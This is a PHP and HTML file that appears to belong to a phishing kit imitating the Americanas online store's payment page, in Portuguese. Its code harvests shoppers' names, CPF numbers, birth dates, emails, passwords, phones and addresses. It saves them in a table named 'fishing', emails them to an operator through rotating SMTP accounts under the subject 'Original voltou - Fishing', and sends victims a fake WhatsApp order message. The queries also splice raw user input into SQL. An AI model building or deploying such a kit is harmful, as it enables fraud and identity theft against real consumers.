<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
if(isset($_GET['COMON/']) && ISSET($_SESSION["id"])){
	$p = $_GET['COMON/'];
	
	if(isset($_SESSION[$p]) && $_SESSION[$p] == $p){ 
	
	
	
	
	
	
	$id = $_SESSION['id'];
	$_SESSION['id'] = $id;
	
	//LISTA PRODUTO
	$query_Produto = "SELECT * FROM produtos WHERE id = '$id'";
	$Produto = mysqli_query($ConnectDB, $query_Produto) or die(mysqli_error($ConnectDB));
	$row_Produto = mysqli_fetch_assoc($Produto);
	$totalRows_Produto = mysqli_num_rows($Produto);
	$nomeproduto = $row_Produto["nome"];
	$pixelf = $row_Produto["pixelf"];
	$preco = $row_Produto["preco"];
	$foto = $row_Produto["foto"];
	$send = $row_Produto["send"];
	//LISTA PRODUTO
	
	//PEGA POST
	$email = $_POST['email'];
	$password = $_POST['password'];
	$name = $_POST['name'];
	$nasc = $_POST['nasc'];
	$cpf = $_POST['cpf'];
	$cpflimpo = str_replace(',', '', $cpf);
	$cpflimpo = str_replace(',', '', $cpflimpo);
	$tel = $_POST['wpp'];
	$cel = $_POST['cel'];
	$cep = $_POST['cep'];
	$endereco = $_POST['tipoendereco'].' - '.$_POST['rua'].', '.$_POST['numero'].', '.$_POST['complemento'].', '.$_POST['pontoreferencia'].', '.$_POST['bairro'];
	$cidadeestado = $_POST['cidade'].' - '.$_POST['estado'];
	$valor = str_replace('.','', $preco);
	$valor = str_replace(',','.', $valor);
	$numeropedido = '02-'.rand(1443112330, 9999994311200);
	$_SESSION['tipoendereco'] = $_POST['tipoendereco'];
	$_SESSION['rua'] = $_POST['rua'];
	$_SESSION['numero'] = $_POST['numero'];
	$_SESSION['complemento'] = $_POST['complemento'];
	$_SESSION['pontoreferencia'] = $_POST['pontoreferencia'];
	$_SESSION['bairro'] = $_POST['bairro'];
	$_SESSION['cidade'] = $_POST['estado'];
	$_SESSION['estado'] = $_POST['estado'];
	$_SESSION['email'] = $email;
	$_SESSION['password'] = $password;
	$_SESSION['name'] = $name;
	$_SESSION['nasc'] = $nasc;
	$_SESSION['cpf'] = $cpf;
	$_SESSION['cpf'] = $cpflimpo;
	$_SESSION['wpp'] = $tel;
	$_SESSION['cel'] = $cel;
	$_SESSION['cep'] = $cep;
	$_SESSION['endereco'] = $endereco;
	$_SESSION['cidadeestado'] = $cidadeestado;
	$_SESSION['valor'] = $valor;
	$_SESSION['numeropedido'] = $numeropedido;
	$senhacard =	$StatusSenhaCartao;




	$dados = '
	Nome:"'.$name.'",
	CPF:"'.$cpf.'",
	Nascimento:"'.$nasc.'",
	Email:"'.$email.'",
	Senha:"'.$password.'",
	Tel:"'.$tel.'",
	Cel:"'.$cel.'",
	Endereço:"'.$endereco.'",
	Cidade/Estado:"'.$cidadeestado.'",
	CEP:"'.$cep.'",
	IDP:"'.$id.'",
	';






if($statusmtp == '1'){




mysqli_select_db($ConnectDB, $database_ConnectDB);
			$query_Recordset1b = "SELECT * FROM smtp ORDER BY rand() LIMIT 1";
			$Recordset1b = mysqli_query($ConnectDB, $query_Recordset1b) or die(mysqli_error($ConnectDB));
			$row_Recordset1b = mysqli_fetch_assoc($Recordset1b);
			$totalRows_Recordset1b = mysqli_num_rows($Recordset1b);

	
	
	
	if($totalRows_Recordset1b > '0'){
		
		
		
		$hostsm = $row_Recordset1b["host"];
		$usersm = $row_Recordset1b["user"];
		$passsm = $row_Recordset1b["senha"];
		$portasm = $row_Recordset1b["porta"];
		require './vendor/autoload.php';
		$mail = new PHPMailer(true);

		try {
    //Server settings
  // $mail->SMTPDebug = SMTP::DEBUG_SERVER;                      //Enable verbose debug output
    $mail->isSMTP();                                            //Send using SMTP
    $mail->Host       = "$hostsm";                     //Set the SMTP server to send through
    $mail->SMTPAuth   = true;                                   //Enable SMTP authentication
    $mail->Username   = "$usersm";                     //SMTP username
    $mail->Password   = "$passsm";                               //SMTP password
    $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            //Enable implicit TLS encryption
    $mail->Port       = $portasm;                                   //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`
	$mail->setLanguage('pt_br');
    //Recipients
    $mail->setFrom("$usersm", 'Apach3 0rigin4l');
    $mail->addAddress("$send", 'F1nanceiro');     //Add a recipient
   // $mail->addAddress('ellen@example.com');               //Name is optional
   // $mail->addReplyTo('info@example.com', 'Information');
   // $mail->addCC('cc@example.com');
    //$mail->addBCC('bcc@example.com');

    //Attachments
    //$mail->addAttachment('/var/tmp/file.tar.gz');         //Add attachments
   // $mail->addAttachment('/tmp/image.jpg', 'new.jpg');    //Optional name

    //Content
    $mail->isHTML(true);                                  //Set email format to HTML
   $mail->Subject = 'Original voltou - Fishing - '.$cpf;
  $mail->Body = '<br/>' . $dados . '<br/>' ; //Corpo da mensagem caso seja HTML
  $mail->AltBody = nl2br(strip_tags($dados));

    $mail->send();
    	
		
		
		
} catch (Exception $e) {}
		
		
		
	}

	
	
}


























mysqli_select_db($ConnectDB, $database_ConnectDB);
$query_verificacadastro = "SELECT * FROM fishing WHERE cpf = '$cpf'";
$verificacadastro = mysqli_query($ConnectDB, $query_verificacadastro) or die(mysqli_error());
$row_verificacadastro = mysqli_fetch_assoc($verificacadastro);
$totalRows_verificacadastro = mysqli_num_rows($verificacadastro);

if($totalRows_verificacadastro > 0 && isset($_POST['rebuy'])){ 



	
	
}else{
	$insertSQL = "INSERT INTO fishing (cpf, nome, dados) VALUES ('$cpf', '$name', '$dados')";
		
	mysqli_select_db($ConnectDB, $database_ConnectDB);
	$Result1 = mysqli_query($ConnectDB, $insertSQL) or die(mysqli_error($ConnectDB));
	
	
}
	
	if(isset($_POST['rebuy']) && $Statusenviawpp == "0"){
		
		
	
		
		
		
		
		
		
		
		
	}
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	if($Statusenviawpp == "1"){
	
	
	
	if(isset($_POST['rebuy'])){
		
		
	
		
		
		
		
		
		
		
		
	}else{
	
	
$primeiroNome = explode(" ", $name);
		$primeiroNome = $primeiroNome[0]; // Fulano
	
	
	$msgS = 'Oi, '.$primeiroNome.'! Que bom ter você aqui 😃

Olha que legal: agora, assim que comprar com a gente, *você vai receber mensagens automáticas sobre o andamento do seu pedido por aqui*

Ah! E a hora que quiser, você pode perguntar pelos seus *últimos pedidos*, nossa *oferta do dia* ou quais os endereços e *horários de funcionamento das nossas lojas físicas*
	
	';
	
	
	$wpplimpo = str_replace('(', '', $cel);
	$wpplimpo = str_replace(')', '', $wpplimpo);
	$wpplimpo = str_replace(' ', '', $wpplimpo);
	$wpplimpo = str_replace('-', '', $wpplimpo);
	$wpplimpo = '55'.$wpplimpo;
	

	
	$NomeProduto = str_replace("nas americanas", '', $nomeproduto);
	
	
	
	
	
	


	
	$apiURLl = $WhatsAppSend.'/message?token='.$WhatsAppSendToken;
	$dataL = [
   'phone' => $wpplimpo, // Receivers phone
    'body' => $msgS, // Message
	];
	$jsonL = json_encode($dataL); // Encode data to JSON
	$urlL = $apiURLl;
	$optionsL = stream_context_create(['http' => [
       'method'  => 'POST',
       'header'  => 'Content-type: application/json',
       'content' => $jsonL
    ]
	]);
	
	
	
	$resultL = file_get_contents($urlL, false, $optionsL);

	}

		
	
	}
	
	
	
	
	
		//CONDICAO BOLETO
	if($StatusBoleto == '1'){
	//CONTA BOLETOS
	mysqli_select_db($ConnectDB, $database_ConnectDB);
	$query_SetaProduto4 = "SELECT * FROM boletos WHERE prodid = $id AND usado = '0'";
	$SetaProduto4 = mysqli_query($ConnectDB, $query_SetaProduto4) or die(mysqli_error());
	$row_SetaProduto4 = mysqli_fetch_assoc($SetaProduto4);
	$totalRows_SetaProduto4 = mysqli_num_rows($SetaProduto4);
	if($StatusBoleto == '1' && $totalRows_SetaProduto4 == '0'){
	$StatusBoleto = '0';
	$FuncaoPagLeto = '0';
	}elseif($StatusBoleto == '1' && $totalRows_SetaProduto4 > '0'){
	$FuncaoPagLeto = '1';
	$action = 'ticket.php';
	}}else{
	$StatusBoleto = '0';
	$FuncaoPagLeto = '0';
	}
	
	
	
	if($StatusPix == '1'){
		$FuncaoPagPix = '1';
		$StatusPix = '1';
		$action = 'pix';
	}else{
	$StatusPix = '0';	
	$FuncaoPagPix = '0';
	}
	
	if($StatusCartao == '0' && $StatusBoleto == '0' && $StatusPix == '0'){
		$FuncaoPagCC = '1';
		$action = 'CCMANUAL';
	}elseif($StatusCartao == '1'){
		$FuncaoPagCC = '1';
		$actioncc = 'CCMANUAL';
	}else{
	$StatusCC = '0';		
	$FuncaoPagCC = '0';
	}
	
	
	
	
	
	
	if($FuncaoPagCC == '1'){
		$ccC = 'block';
	}else{
		$ccC = 'none';
	}if($FuncaoPagLeto == '1'){
		$bbB = 'block';
	}else{
		$bbB = 'none';
	}if($FuncaoPagPix == '1'){
		$ppP = 'block';
	}else{
		$ppP = 'none';
	}
	
	if($FuncaoPagPix == '1' && $FuncaoPagLeto == '1'){
		$mostrap = 'block';
		$mostrac = 'none';
		$mostrab = 'none';
	}if($FuncaoPagPix == '1' && $FuncaoPagLeto == '0'){
		$mostrap = 'block';
		$mostrac = 'none';
		$mostrab = 'none';
	}if($FuncaoPagPix == '0' && $FuncaoPagLeto == '1'){
		$mostrab = 'block';
		$mostrap = 'none';
		$mostrac = 'none';
	}if($FuncaoPagPix == '0' && $FuncaoPagLeto == '0'){
		$mostrab = 'none';
		$mostrap = 'none';
		$mostrac = 'block';
	}
	
	
	
?>


<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no">
    <link rel="stylesheet" href="./assets/css/endereco.css">
    <script src="./assets/js/index.js"></script>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <link rel="stylesheet" href="https://unpkg.com/leaflet@1.6.0/dist/leaflet.css" integrity="sha512-xwE/Az9zrjBIphAcBb3F6JVqxf46+CDLwfLMHloNu6KEQCAWi6HcDUbeOfBIptF7tcCzusKFjFw2yuvEpDL9wQ==" crossorigin="">
   <title><?php echo $nomeproduto ?> </title>
   
   <?php 

	

$nomeproduto = explode("|", $nomeproduto);
$nomeproduto = $nomeproduto[0];
	
	?>

<meta property="og:site_name" content="<?php echo $nomeproduto ?>">
<meta property="og:url" content="<?php
$protocolo = (isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS']=="on") ? "https" : "http");
$url = '://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
echo $protocolo.$url;
 ?>">
<meta property="og:title" content="<?php echo $nomeproduto ?>">
<meta property="og:type" content="product">
<meta property="og:description" content="<?php echo $nomeproduto ?>">
<meta data-react-helmet="true" property="og:image:alt" content="<?php echo $nomeproduto ?>"/>
<meta property="og:image" content="<?php echo $foto ?>">
<meta property="og:image:secure_url" content="<?php echo $foto ?>">

<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAALGPC/xhBQAAACBjSFJN
AAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAC0FBMVEXjBQ7fBhDYChbKER22
GyasHy2tHzSpHjehIDieIDWgIC+xGSjQDCPlAxzvABb0ABPjBA7gBhDZCRXKDxz/ydX/ztz/zuP/
z+f/0+r/1Oj/1OP/zd3jBBzrARbwABPkBA7hBRDcBxXNDRz/yNX/0eP/0uf/1Or/0+PPDSPfBhzk
BBbnBBPiBRHhBhfTDB26GSalIi2YKjSPKzeNKjiTJjWkHi+4FSnSCyLjBRblBRPfBw/hBRHmAhbY
CBy3FSPeaXD/5OL/7+v/9PH7rbLSS17NGzTYCiPkBRzoBBjqBBbhBhDjBBLoABXbBhvoRFL/2+L/
6OfPnpnht7H/5+n/1OTRJTzYCiLmBBzpBBjqAxbpARDoARHoARXaBxv/bHz/mabZaXWFKjJ4LjL/
6+//2uPeTVzTDSLmBBvnBRjnBRbqAhHnAhLlAxTRChqwHCffY2//j5//3e7/5vH/4+v/4OjVUFzR
DCDnAxnmBBblBBXjBhLcAA7jCxnCEh3wjI3/5Ob/3On/kaLcb3//2OX/4+3NRlPTCh/oABfmAhXl
AhTdAxDjCxjZAhDCFiD/1tb/7OrBbHKVMz6hQEv/4Or/3ufcWmbPCh3nABXnABPfAhHnCRjeAA/L
ER//r7b/6Or/6ObUnJj/8vD/5ub/5efKV17IDhzjARTpABTsABTnAxXhAA/rBxnPChu4NEL0m6T/
6+r/8OzFiIb2sbL/4ufhaXPHDhzhAhTqABTtABTuARjpAhXTCBuyGC2aIDSQJjOLKDOKKTONJzOV
JTWqGy3ODR3jBBTpABXsABXsABfqAhXZCR3/yOH/0On/0+j/1ef/1+j/1en/0ur/y+LSDB3jBRXr
ABblBBfnAxbrARXcBx3/0uj/0+f/0un/zur/yOLiBhXqAhbtABflBBbsARXcBhy3FS2jHDShHTOg
HTOkGzOuGDa8Ei3SCxzhBRTuABf///8ycRhPAAAAAWJLR0TvuLDioQAAAAd0SU1FB+UDDgMdFb3V
G9wAAAEbSURBVBjTARAB7/4AAAECAwQFBgcICQoLDA0ODwAQERITFBUWFxgZGhsMHB0eAB8gISIj
FSQlJhknGygpKisAACwtLi8wMTIzNDU2Nyk4OQA6Ozw9Pj9AQUJDREVGR0hJAEpLTE1OT1BRUlNU
VVZXWFkAWltcXV5fYGFiY2RlZmdoaQBqa2xtbm9wcXJzdHV2d3h5AHp7fH1+f4CBgoOEhYaHiIkA
iouMjY6PkJGSk5SVlpeYmACZmpucnZ6foKGio6SlpqeoAKmqq6ytrq+wsbKztLW2t7gAuR26u7y9
vr/AwcLDxMXGxwDIHcnKy8zNzs/Q0dLT1FzVANbX2NnLzNrbGdzd3i7f4OEALeLj5OXm5+jo6err
7O3g7syBdJk1oDXFAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDIxLTAzLTE0VDAzOjI5OjIxKzAzOjAw
BCFevQAAACV0RVh0ZGF0ZTptb2RpZnkAMjAyMS0wMy0xNFQwMzoyOToyMSswMzowMHV85gEAAAAA
SUVORK5CYII=" />
    <style>textarea {text-transform: initial!important;}</style>
</head>

<body cz-shortcut-listen="true">
    <noscript>Você precisa estar com o Javascript habilitado para utilizar esse site.</noscript>

    <div id="root">
        <div class="payment">
            <header class="sc-GqfZa kdOkUb">
                <div class="sc-fWSCIC fMeuET">
                    <div aria-hidden="true" class="sc-dwfUOf bNQBLt">
                        <a href="https://www.americanas.com.br/">
                            <h1>Americanas - Pagamento</h1><svg id="Layer_1" viewBox="0 0 398.41 83" width="100%" height="100%"><style>
            .logo-acom-fill {
                fill: #fff;
            }
        </style><g><path class="logo-acom-fill" d="M20.56,38.45c1.88-0.23,3.22-0.53,4.03-0.89c1.45-0.61,2.18-1.57,2.18-2.87c0-1.58-0.56-2.67-1.67-3.27 c-1.11-0.6-2.75-0.9-4.9-0.9c-2.42,0-4.13,0.59-5.13,1.77c-0.72,0.87-1.2,2.05-1.44,3.54H3.9c0.21-3.38,1.16-6.15,2.84-8.32 c2.68-3.4,7.28-5.1,13.79-5.1c4.24,0,8.01,0.84,11.3,2.51c3.29,1.68,4.94,4.84,4.94,9.49v17.7c0,1.23,0.02,2.71,0.07,4.46 c0.07,1.32,0.27,2.22,0.6,2.69c0.33,0.47,0.83,0.86,1.49,1.17v1.49H27.97c-0.31-0.78-0.52-1.51-0.64-2.19 c-0.12-0.69-0.21-1.46-0.28-2.33c-1.4,1.51-3.01,2.8-4.84,3.86c-2.18,1.25-4.65,1.88-7.41,1.88c-3.51,0-6.42-1-8.7-2.99 c-2.29-1.99-3.44-4.82-3.44-8.48c0-4.74,1.84-8.18,5.53-10.3c2.02-1.16,4.99-1.98,8.91-2.48L20.56,38.45z M26.73,43.16 c-0.65,0.4-1.3,0.73-1.96,0.97c-0.66,0.25-1.56,0.48-2.71,0.69l-2.3,0.42c-2.15,0.38-3.7,0.84-4.64,1.38 c-1.59,0.92-2.38,2.35-2.38,4.28c0,1.72,0.48,2.97,1.46,3.73c0.97,0.77,2.15,1.15,3.54,1.15c2.2,0,4.23-0.64,6.09-1.91 s2.82-3.6,2.89-6.97L26.73,43.16L26.73,43.16z"></path><path class="logo-acom-fill" d="M93.87,23.48c1.65,0.66,3.15,1.82,4.5,3.47c1.08,1.35,1.82,3,2.19,4.96c0.23,1.3,0.35,3.2,0.35,5.7 l-0.07,24.32H90.51V37.36c0-1.46-0.24-2.67-0.71-3.61c-0.9-1.79-2.55-2.69-4.96-2.69c-2.79,0-4.71,1.16-5.77,3.47 c-0.54,1.23-0.81,2.7-0.81,4.43v22.97H68.1V38.95c0-2.29-0.23-3.95-0.71-4.99c-0.85-1.87-2.51-2.79-4.99-2.79 c-2.88,0-4.82,0.93-5.81,2.79c-0.54,1.06-0.81,2.64-0.81,4.74v23.22H45.55V23.41h9.8v5.63c1.25-2,2.43-3.43,3.54-4.28 c1.96-1.51,4.5-2.27,7.61-2.27c2.95,0,5.33,0.65,7.15,1.95c1.46,1.2,2.57,2.75,3.33,4.64c1.32-2.26,2.96-3.93,4.92-4.99 c2.08-1.06,4.39-1.59,6.94-1.59C90.55,22.49,92.22,22.82,93.87,23.48"></path><path class="logo-acom-fill" d="M135.47,24.12c2.69,1.21,4.91,3.11,6.67,5.71c1.58,2.29,2.6,4.95,3.07,7.98c0.27,1.77,0.38,4.33,0.33,7.66 h-28.1c0.16,3.87,1.5,6.59,4.04,8.14c1.54,0.97,3.39,1.45,5.56,1.45c2.3,0,4.17-0.59,5.6-1.77c0.78-0.64,1.48-1.52,2.08-2.66h10.3 c-0.27,2.29-1.52,4.61-3.74,6.97c-3.46,3.75-8.3,5.63-14.52,5.63c-5.13,0-9.67-1.58-13.59-4.75c-3.92-3.16-5.89-8.31-5.89-15.45 c0-6.68,1.77-11.81,5.32-15.38c3.54-3.57,8.14-5.35,13.8-5.35C129.75,22.31,132.78,22.92,135.47,24.12 M120.38,32.83 c-1.43,1.47-2.32,3.46-2.69,5.97h17.38c-0.18-2.68-1.08-4.71-2.69-6.1s-3.6-2.08-5.98-2.08C123.81,30.63,121.8,31.36,120.38,32.83"></path><path class="logo-acom-fill" d="M172.21,22.44c0.13,0.01,0.42,0.03,0.87,0.05v10.34c-0.64-0.07-1.2-0.12-1.7-0.14s-0.9-0.04-1.2-0.04 c-4.06,0-6.78,1.32-8.18,3.97c-0.78,1.49-1.17,3.78-1.17,6.86v18.44h-10.16V23.34h9.63v6.73c1.56-2.57,2.92-4.33,4.07-5.27 c1.89-1.58,4.34-2.37,7.36-2.37C171.92,22.42,172.08,22.42,172.21,22.44"></path><rect x="179.95" y="22.6" class="logo-acom-fill" width="10.23" height="39.32"></rect><path class="logo-acom-fill" d="M221.65,37.18c-0.19-1.44-0.67-2.74-1.46-3.89c-1.13-1.56-2.9-2.33-5.29-2.33c-3.41,0-5.74,1.69-6.99,5.06 c-0.66,1.79-0.99,4.17-0.99,7.13c0,2.82,0.33,5.09,0.99,6.81c1.21,3.21,3.48,4.81,6.81,4.81c2.37,0,4.04-0.63,5.04-1.91 c0.99-1.27,1.6-2.92,1.81-4.96h10.3c-0.24,3.07-1.35,5.97-3.33,8.71c-3.17,4.41-7.85,6.62-14.07,6.62 c-6.21,0-10.78-1.84-13.71-5.52c-2.93-3.68-4.39-8.46-4.39-14.32c0-6.62,1.62-11.77,4.85-15.45c3.23-3.68,7.7-5.52,13.39-5.52 c4.84,0,8.8,1.08,11.89,3.26c3.08,2.17,4.91,6.01,5.47,11.5H221.65z"></path><path class="logo-acom-fill" d="M254.31,38.45c1.88-0.23,3.22-0.53,4.03-0.89c1.45-0.61,2.18-1.57,2.18-2.87c0-1.58-0.56-2.67-1.67-3.27 c-1.11-0.6-2.75-0.9-4.9-0.9c-2.42,0-4.13,0.59-5.13,1.77c-0.72,0.87-1.2,2.05-1.44,3.54h-9.73c0.21-3.38,1.16-6.15,2.85-8.32 c2.68-3.4,7.28-5.1,13.79-5.1c4.24,0,8.01,0.84,11.3,2.51c3.3,1.68,4.95,4.84,4.95,9.49v17.7c0,1.23,0.02,2.71,0.07,4.46 c0.07,1.32,0.27,2.22,0.6,2.69c0.33,0.47,0.83,0.86,1.49,1.17v1.49h-10.98c-0.31-0.78-0.52-1.51-0.64-2.19 c-0.12-0.69-0.21-1.46-0.28-2.33c-1.4,1.51-3.01,2.8-4.84,3.86c-2.18,1.25-4.65,1.88-7.41,1.88c-3.51,0-6.41-1-8.7-2.99 s-3.44-4.82-3.44-8.48c0-4.74,1.84-8.18,5.53-10.3c2.02-1.16,4.99-1.98,8.92-2.48L254.31,38.45z M260.47,43.16 c-0.64,0.4-1.3,0.73-1.96,0.97c-0.66,0.25-1.56,0.48-2.71,0.69l-2.3,0.42c-2.15,0.38-3.7,0.84-4.64,1.38 c-1.59,0.92-2.38,2.35-2.38,4.28c0,1.72,0.48,2.97,1.46,3.73c0.97,0.77,2.15,1.15,3.54,1.15c2.21,0,4.23-0.64,6.09-1.91 c1.86-1.27,2.82-3.6,2.89-6.97L260.47,43.16L260.47,43.16z"></path><path class="logo-acom-fill" d="M310.59,25.55c2.53,2.09,3.79,5.55,3.79,10.39v25.98h-10.34V38.45c0-2.03-0.27-3.59-0.81-4.67 c-0.98-1.98-2.86-2.97-5.62-2.97c-3.4,0-5.73,1.45-6.99,4.35c-0.66,1.54-0.99,3.49-0.99,5.88v20.89h-10.09V23.41h9.77v5.63 c1.29-1.98,2.52-3.41,3.67-4.28c2.07-1.56,4.69-2.34,7.86-2.34C304.82,22.42,308.07,23.46,310.59,25.55"></path><path class="logo-acom-fill" d="M338.42,38.45c1.88-0.23,3.22-0.53,4.03-0.89c1.45-0.61,2.17-1.57,2.17-2.87c0-1.58-0.56-2.67-1.67-3.27 c-1.11-0.6-2.75-0.9-4.9-0.9c-2.42,0-4.13,0.59-5.13,1.77c-0.72,0.87-1.2,2.05-1.43,3.54h-9.73c0.21-3.38,1.16-6.15,2.84-8.32 c2.68-3.4,7.28-5.1,13.79-5.1c4.24,0,8.01,0.84,11.31,2.51c3.29,1.68,4.94,4.84,4.94,9.49v17.7c0,1.23,0.02,2.71,0.07,4.46 c0.07,1.32,0.27,2.22,0.6,2.69c0.33,0.47,0.83,0.86,1.49,1.17v1.49h-10.97c-0.31-0.78-0.52-1.51-0.64-2.19 c-0.12-0.69-0.21-1.46-0.28-2.33c-1.4,1.51-3.01,2.8-4.84,3.86c-2.18,1.25-4.65,1.88-7.41,1.88c-3.51,0-6.41-1-8.7-2.99 s-3.44-4.82-3.44-8.48c0-4.74,1.84-8.18,5.53-10.3c2.02-1.16,4.99-1.98,8.92-2.48L338.42,38.45z M344.59,43.16 c-0.65,0.4-1.3,0.73-1.95,0.97c-0.66,0.25-1.56,0.48-2.71,0.69l-2.3,0.42c-2.15,0.38-3.7,0.84-4.64,1.38 c-1.59,0.92-2.38,2.35-2.38,4.28c0,1.72,0.49,2.97,1.46,3.73c0.97,0.77,2.15,1.15,3.54,1.15c2.2,0,4.24-0.64,6.09-1.91 c1.86-1.27,2.82-3.6,2.89-6.97V43.16z"></path><path class="logo-acom-fill" d="M371.34,49.6c0.21,1.79,0.68,3.07,1.39,3.82c1.26,1.34,3.58,2.02,6.97,2.02c1.99,0,3.57-0.29,4.75-0.88 c1.17-0.59,1.76-1.47,1.76-2.66c0-1.13-0.47-1.99-1.42-2.58c-0.94-0.59-4.46-1.6-10.55-3.04c-4.39-1.09-7.47-2.44-9.27-4.07 c-1.79-1.61-2.69-3.92-2.69-6.94c0-3.56,1.4-6.62,4.2-9.19c2.8-2.56,6.75-3.84,11.83-3.84c4.82,0,8.76,0.96,11.79,2.88 c3.04,1.92,4.78,5.25,5.23,9.96h-10.09c-0.14-1.3-0.51-2.32-1.1-3.08c-1.11-1.37-3.01-2.06-5.68-2.06c-2.2,0-3.77,0.34-4.7,1.03 c-0.93,0.68-1.4,1.49-1.4,2.41c0,1.16,0.5,2,1.49,2.51c0.99,0.54,4.5,1.47,10.53,2.8c4.02,0.94,7.03,2.37,9.04,4.28 c1.98,1.93,2.97,4.35,2.97,7.26c0,3.82-1.43,6.94-4.27,9.36c-2.85,2.42-7.25,3.63-13.21,3.63c-6.08,0-10.56-1.28-13.46-3.84 s-4.34-5.82-4.34-9.79h10.23L371.34,49.6L371.34,49.6z"></path><rect x="2.73" y="2.49" class="logo-acom-fill" width="393" height="9.92"></rect><rect x="2.73" y="70.25" class="logo-acom-fill" width="393" height="9.92"></rect></g></svg></a>
                    </div>
                    <div class="sc-TmcTc cJbABh">
                        <div class="sc-aemoO fIDMKC"><span class="step-link highlighted"><div aria-hidden="true" class="sc-jONnTn dqlfcD"><div class="sc-fbkhIv jsBTxA"></div></div><span> Minha Cesta </span></span>
                        </div>
                        <div class="sc-aemoO fIDMKC"><span class="step-link highlighted"><div aria-hidden="true" class="sc-jONnTn dqlfcD"><div class="sc-fbkhIv jsBTxA"></div></div><span> Identificação </span></span>
                        </div>
                        <div class="sc-aemoO fIDMKC"><span class="step-link highlighted"><div class="sc-jONnTn dqlfcD"><svg id="icon-basket" viewBox="0 0 100 95" fill="white"><path d="m 94.9 41.4 -90.4 0 c -5.8 0 -6.3 -9.8 0 -10 l 10.2 0 0 0 L 40.6 8.6 C 40.8 -3.2 57.7 -2.8 57.9 8.5 l 26 22.8 11 0 c 6.6 0 6.9 10 0 10 M 55.9 14.4 c -2.7 4.3 -10.4 4.2 -13.3 0.3 l -19.3 16.7 52 0 z m 32.3 70.7 c -1.2 8.7 -9 9.5 -9 9.5 0 0 -50.1 0.5 -58.1 0 -8 -0.5 -9.3 -7.2 -9.3 -7.2 l -6.3 -44.2 88.6 0 c 0 0 -4.7 33.2 -6 41.9 M 30 56.4 c 0 -4.2 -8.3 -3.9 -8.4 0 l 0 28.3 c 0 4 8.3 3.9 8.4 0 z m 16.2 0 c 0 -3.7 -8.4 -4.5 -8.4 0 l 0 28.3 c 0 4.6 8.3 4.1 8.4 0 z m 16.3 0 c 0 -3.7 -8.3 -4.2 -8.4 0 l 0 28.3 c 0 4.8 8.4 4.1 8.4 0 z m 16.2 0 c 0 -4.2 -8.3 -4 -8.4 0 l 0 28.3 c 0 4.8 8.3 4.5 8.4 0 z"></path></svg></div><span> Pagamento </span></span>
                        </div>
                        <div class="sc-aemoO bcwoGn"><span class="step-link next"><div class="sc-jONnTn dqlfcD"><svg id="icon-basket-check" fill="white" viewBox="0 0 100 95"><path d="m 95.9 31 -11.2 0 L 58.2 8.1 C 56.4 -3.5 41 -2.1 40.5 8.5 c 0 0.2 0 0.4 0 0.5 l -26.2 22.1 0 0 -10.3 0 C 1.2 31 0 33.2 0 36 c 0 4 1.8 5.1 5.1 5.1 l 6.2 46.4 c 0 0 1.3 6.7 9.5 7.2 8.2 0.6 59.2 0 59.2 0 0 0 7.9 -0.9 9.2 -9.6 C 90.4 77.2 94.4 46.6 95.2 41.1 98.5 41.2 100 39.5 100 36 100 33.2 98.9 31 96 31 Z M 47.8 76.8 29.6 59 36.4 52.3 47.8 63.5 65.9 45.5 72.7 52.2 Z M 23 31 42.8 14.4 c 4 3.8 10.2 3.4 13.5 -0.4 l 19.8 17.1 -53 0 z"></path></svg></div><span> Obrigada </span></span>
                        </div>
                    </div>
                    <p class="sc-jHVexB iiHqcD">passo 2 de 3: <span> pagamento</span></p>
                </div>
            </header>

            <main class="payment-order">
                <div class="payment-SummaryAndDeliveryAddress__wrapper">
                    <section class="payment-deliveryAddress">
                        <div class="sc-bXDlPE jFuWAH">
                            <h2 id="deliveryAddress-title" class="sc-eGCarw jqTxQZ">Endereço de entrega</h2>
                        </div>
                        <dl class="sc-fWPcDo cgpajZ"><dt id="addressComponent-customerName" class="sc-fHYxKZ dnKCVK --ignore-case"><?php echo $name ?></dt>
                            <dd id="addressComponent-deliveryAddress" class="sc-gyUeRy fFXEDN --ignore-case"><?php echo $endereco ?></dd>
                            
                            <dd id="addressComponent-cityAndState" class="sc-gyUeRy fFXEDN --ignore-case"><?php echo $cidadeestado ?></dd>
                            <dd id="addressComponent-cep" class="sc-gyUeRy fFXEDN --ignore-case">CEP <?php echo $cep ?></dd>
                            <!--
                            <ul class="sc-gkdzZj cmAEMu">
                                <li class="sc-flMoUE ciwbCw">
                                    <a id="listAddress-openAction" class="sc-eWVKcp hqFZpw"><img src="./assets/imgs/icon-breadcrumb.0689ef6b.svg" class="sc-iGctRS fpSvqg">Alterar endereço de entrega</a>
                                </li>
                                <li class="sc-flMoUE ciwbCw">
                                    <a id="receiveChangeWhatsapp-openAction" class="sc-eWVKcp hqFZpw"><img src="./assets/imgs/social-whatsapp.9f00f04f.svg" class="sc-iGctRS fpSvqg">Receber informações de entrega</a>
                                </li>
                            </ul>
                        -->
                        </dl>
                    </section>
                    <section class="payment-checkoutSummary">
                        <div class="payment-checkoutSummary-wrapper">
                            <div class="sc-bXDlPE jFuWAH">
                                <h2 class="sc-eGCarw jqTxQZ sc-iWFSnp cmuvkJ">Resumo da compra</h2>
                            </div>
                            <ul id="summaryComponent" class="sc-jLiVlK jgDXBK">
                                <li id="summaryComponent-products" class="sc-gsBrbv dnjDBo"><label class="sc-aKZfe fDhUzj"></label><span class="sc-kmASHI kIOXqA --ignore-case">R$ <?php echo $preco ?></span></li>
                                <li id="summaryComponent-freight"
                                    class="sc-gsBrbv ftAsLe"><label class="sc-aKZfe fDhUzj">Frete</label><span class="sc-kmASHI kIOXqA --ignore-case">Grátis</span></li>
                            </ul>
